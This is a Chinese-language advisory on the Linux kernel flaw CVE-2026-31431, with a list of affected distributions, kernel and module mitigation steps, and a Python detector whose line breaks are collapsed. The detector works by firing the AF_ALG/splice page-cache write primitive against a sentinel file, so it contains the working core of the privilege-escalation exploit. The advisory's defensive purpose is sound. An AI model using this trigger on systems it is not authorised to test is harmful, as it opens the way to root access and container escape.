本次公开的CVE-2026-31431漏洞,是一则存在于Linux内核algif_aead与authencesn组件中的页缓存临时写入漏洞。
该漏洞存在于Linux内核加密子系统相关逻辑中,攻击者在获得本地普通用户权限后,可通过AF_ALG、splice()与authencesn相关逻辑组合,触发对page cache的受控写入,从而实现本地提权。安全研究团队同步放出了完整检测工具与概念验证POC提权脚本,可实现低权限用户本地提权至root权限。
该漏洞的核心风险并非远程直接入侵,而是放大已有权限:一旦攻击者获得任意低权限执行点,即可瞬间提升为root权限。因此,在多用户 Linux主机、Kubernetes节点、容器平台、CI/CD构建机、自建Runner、云端Notebook、沙箱执行环境等场景下,其危害远高于普通单用户服务器。研究机构特别强调:page cache是宿主机全局共享,这意味着漏洞不仅能本地提权,还可实现容器逃逸、跨租户越权。
受影响产品与内核版本
1、内核版本:2017 年内核72548b093ee3补丁,引入AEAD运算逻辑,埋下漏洞隐患。
2、模块配置:默认启用algif_aead模块,或支持动态加载该模块的系统。
3、权限条件:允许非特权普通用户创建AF_ALG套接字的运行环境。
4、业务场景:运行多租户任务、容器、CI/CD作业、沙箱执行等共享内核的环境。
5、受影响的发行版:Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL、SUSE、Debian、Arch、Fedora、Rocky、Alma、Oracle Linux及各类嵌入式 Linux,只要使用受影响内核,均存在风险。
漏洞检测代码
该检测代码基于Python 3.10+编写,无需其他依赖
#!/usr/bin/env python3# CVE-2026-31431 ("Copy Fail") vulnerability detector.## Attempts to trigger the algif_aead / authencesn page-cache scratch-write# primitive against a user-owned sentinel file in a temp directory. If the# scratch write lands inside the spliced page-cache page, the file's contents# (as observed via a fresh read) will contain the marker bytes.## SAFE BY DESIGN# * Operates on a sentinel file the running user just created. /usr/bin/su# and other system binaries are NOT touched.# * Page-cache corruption is in-memory only; nothing is written back to disk.# * Exit 0 = NOT vulnerable, 2 = VULNERABLE, 1 = test error.## Use only on hosts you own or are explicitly authorized to test.import errnoimport osimport socketimport structimport sysimport tempfileAF_ALG = 38SOL_ALG = 279ALG_SET_KEY = 1ALG_SET_IV = 2ALG_SET_OP = 3ALG_SET_AEAD_ASSOCLEN = 4ALG_OP_DECRYPT = 0CRYPTO_AUTHENC_KEYA_PARAM = 1 # rtattr type from <crypto/authenc.h>ALG_NAME = "authencesn(hmac(sha256),cbc(aes))"PAGE = 4096ASSOCLEN = 8 # SPI(4) || seqno_lo(4)CRYPTLEN = 16 # one AES blockTAGLEN = 16 # truncated HMAC-SHA256MARKER = b"PWND"def build_authenc_keyblob(authkey: bytes, enckey: bytes) -> bytes: # struct rtattr { u16 rta_len; u16 rta_type } || __be32 enckeylen || keys rtattr = struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM) keyparam = struct.pack(">I", len(enckey)) return rtattr + keyparam + authkey + enckeydef precheck() -> str | None: if not os.path.exists("/proc/crypto"): return "/proc/crypto missing" try: socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0).close() except OSError as e: return f"AF_ALG socket family unavailable ({e.strerror})" try: s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) s.bind(("aead", ALG_NAME)) s.close() except OSError as e: return f"{ALG_NAME!r} cannot be instantiated ({e.strerror})" return Nonedef attempt_trigger(target_path: str) -> tuple[bool, bytes]: sentinel = (b"COPYFAIL-SENTINEL-UNCORRUPTED!!\n" * (PAGE // 32))[:PAGE] with open(target_path, "wb") as f: f.write(sentinel) # Populate page cache. fd_target = os.open(target_path, os.O_RDONLY) os.read(fd_target, PAGE) os.lseek(fd_target, 0, os.SEEK_SET) # Master socket: bind + key. master = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) master.bind(("aead", ALG_NAME)) master.setsockopt( SOL_ALG, ALG_SET_KEY, build_authenc_keyblob(b"\x00" * 32, b"\x00" * 16), ) op, _ = master.accept() # Per-op parameters travel as control messages on sendmsg, not setsockopt. # AAD bytes 4..7 are seqno_lo - the value the buggy scratch-write copies # into dst[assoclen + cryptlen]. We pick MARKER so corruption is obvious. aad = b"\x00" * 4 + MARKER cmsg = [ (SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)), (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", ASSOCLEN)), ] op.sendmsg([aad], cmsg, socket.MSG_MORE) # Splice CRYPTLEN+TAGLEN bytes of the target's page-cache page into the # op socket. Because algif_aead runs in-place (req->dst = req->src), those # page-cache pages now sit in the destination scatterlist. pr, pw = os.pipe() try: n = os.splice(fd_target, pw, CRYPTLEN + TAGLEN, offset_src=0) if n != CRYPTLEN + TAGLEN: raise RuntimeError(f"splice file->pipe short: {n}") n = os.splice(pr, op.fileno(), n) if n != CRYPTLEN + TAGLEN: raise RuntimeError(f"splice pipe->op short: {n}") except OSError as e: os.close(pr); os.close(pw) op.close(); master.close(); os.close(fd_target) if e.errno in (errno.EOPNOTSUPP, errno.ENOTSUP): raise RuntimeError( "splice into AF_ALG socket not supported on this kernel - " "the page-cache attack vector is not reachable here" ) from e raise # Drive the algorithm. Auth check will fail (we sent zero ciphertext+tag); # EBADMSG is fine - the scratch write fires before/independent of verify. try: op.recv(ASSOCLEN + CRYPTLEN + TAGLEN) except OSError as e: if e.errno not in (errno.EBADMSG, errno.EINVAL): raise op.close() master.close() os.close(pr) os.close(pw) # Read back via the existing fd (page cache, not disk). os.lseek(fd_target, 0, os.SEEK_SET) after = os.read(fd_target, PAGE) os.close(fd_target) return after, sentineldef kernel_in_affected_line() -> bool: # Per the disclosure, fixes landed on the 6.12, 6.17 and 6.18 stable lines. rel = os.uname().release.split("-")[0] parts = rel.split(".") try: major, minor = int(parts[0]), int(parts[1]) except (ValueError, IndexError): return False return (major, minor) >= (6, 12)def main() -> int: print(f"[*] CVE-2026-31431 detector kernel={os.uname().release} " f"arch={os.uname().machine}") if not kernel_in_affected_line(): print(f"[i] Kernel {os.uname().release} predates the affected " f"6.12/6.17/6.18 lines; trigger may not apply even if " f"prerequisites match.") reason = precheck() if reason: print(f"[+] Precondition not met ({reason}). NOT vulnerable.") return 0 print(f"[+] AF_ALG + {ALG_NAME!r} loadable - precondition met.") tmp = tempfile.mkdtemp(prefix="copyfail-") target = os.path.join(tmp, "sentinel.bin") try: after, sentinel = attempt_trigger(target) except Exception as e: print(f"[!] Trigger failed: {type(e).__name__}: {e}") return 1 finally: try: os.remove(target) os.rmdir(tmp) except OSError: pass # The exact landing offset of the 4-byte scratch write depends on how # the source/destination scatterlists are laid out by algif_aead for this # combination of inline-AAD + spliced-page input. What's invariant is that # the 4 bytes from AAD seqno_lo (our marker) appear somewhere in the page, # AND the marker is not present in the original sentinel. marker_off = after.find(MARKER) marker_orig = sentinel.find(MARKER) diffs = [i for i in range(PAGE) if after[i] != sentinel[i]] if marker_off >= 0 and marker_orig < 0: ctx = after[max(marker_off - 4, 0):marker_off + 12] print(f"[!] VULNERABLE to CVE-2026-31431.") print(f"[!] Marker {MARKER!r} (AAD seqno_lo) landed in the spliced " f"page-cache page at offset {marker_off}.") print(f"[!] Surrounding bytes: {ctx.hex()} ({ctx!r})") print(f"[!] Apply the upstream fix or block algif_aead immediately.") return 2 if diffs: first = diffs[0] window = after[first:first + 16] print(f"[!] Page cache MODIFIED via in-place AEAD splice path " f"({len(diffs)} bytes changed, first at offset {first}).") print(f"[!] Window: {window.hex()}") print(f"[!] The controllable scratch-write marker did not land, but " f"the kernel still allowed a page-cache page into the writable " f"AEAD destination scatterlist.") print(f"[!] Treat as VULNERABLE to the underlying bug class until " f"a patched kernel is installed.") return 2 print("[+] Page cache intact. NOT vulnerable on this kernel.") return 0if __name__ == "__main__": sys.exit(main())
如已中招,python执行后,即可看到如下类似提示内容
[*] CVE-2026-31431 detector kernel=5.4.241-30.0017.19 arch=x86_64
[i] Kernel 5.4.241-30.0017.19 predates the affected 6.12/6.17/6.18 lines; trigger may not apply even if prerequisites match.
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.
[!] Surrounding bytes: 50574e444641494c2d53454e (b'PWNDFAIL-SEN')
[!] Apply the upstream fix or block algif_aead immediately.
漏洞修复方法
方法一(临时):
在无法立即升级内核的情况下,可临时禁用algif_aead模块
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.confsudo rmmod algif_aead 2>/dev/null || true
lsmod | grep '^algif_aead'
如果不显示结果,则表示当前模块未加载
方法二(永久):
应立即通过发行版官方渠道升级Linux kernel,确保新内核包含主线修复提交,常见发行版可参考如下操作,更新内核补丁后,必须重启操作系统。
# Debian / Ubuntusudo apt updatesudo apt full-upgradesudo reboot
# RHEL / Rocky / Alma / Oracle Linux / Fedorasudo dnf update kernelsudo reboot
# Amazon Linux 2023sudo dnf update kernelsudo reboot
# SUSE / openSUSEsudo zypper refreshsudo zypper patchsudo reboot
更多内容,请阅读全文!
👇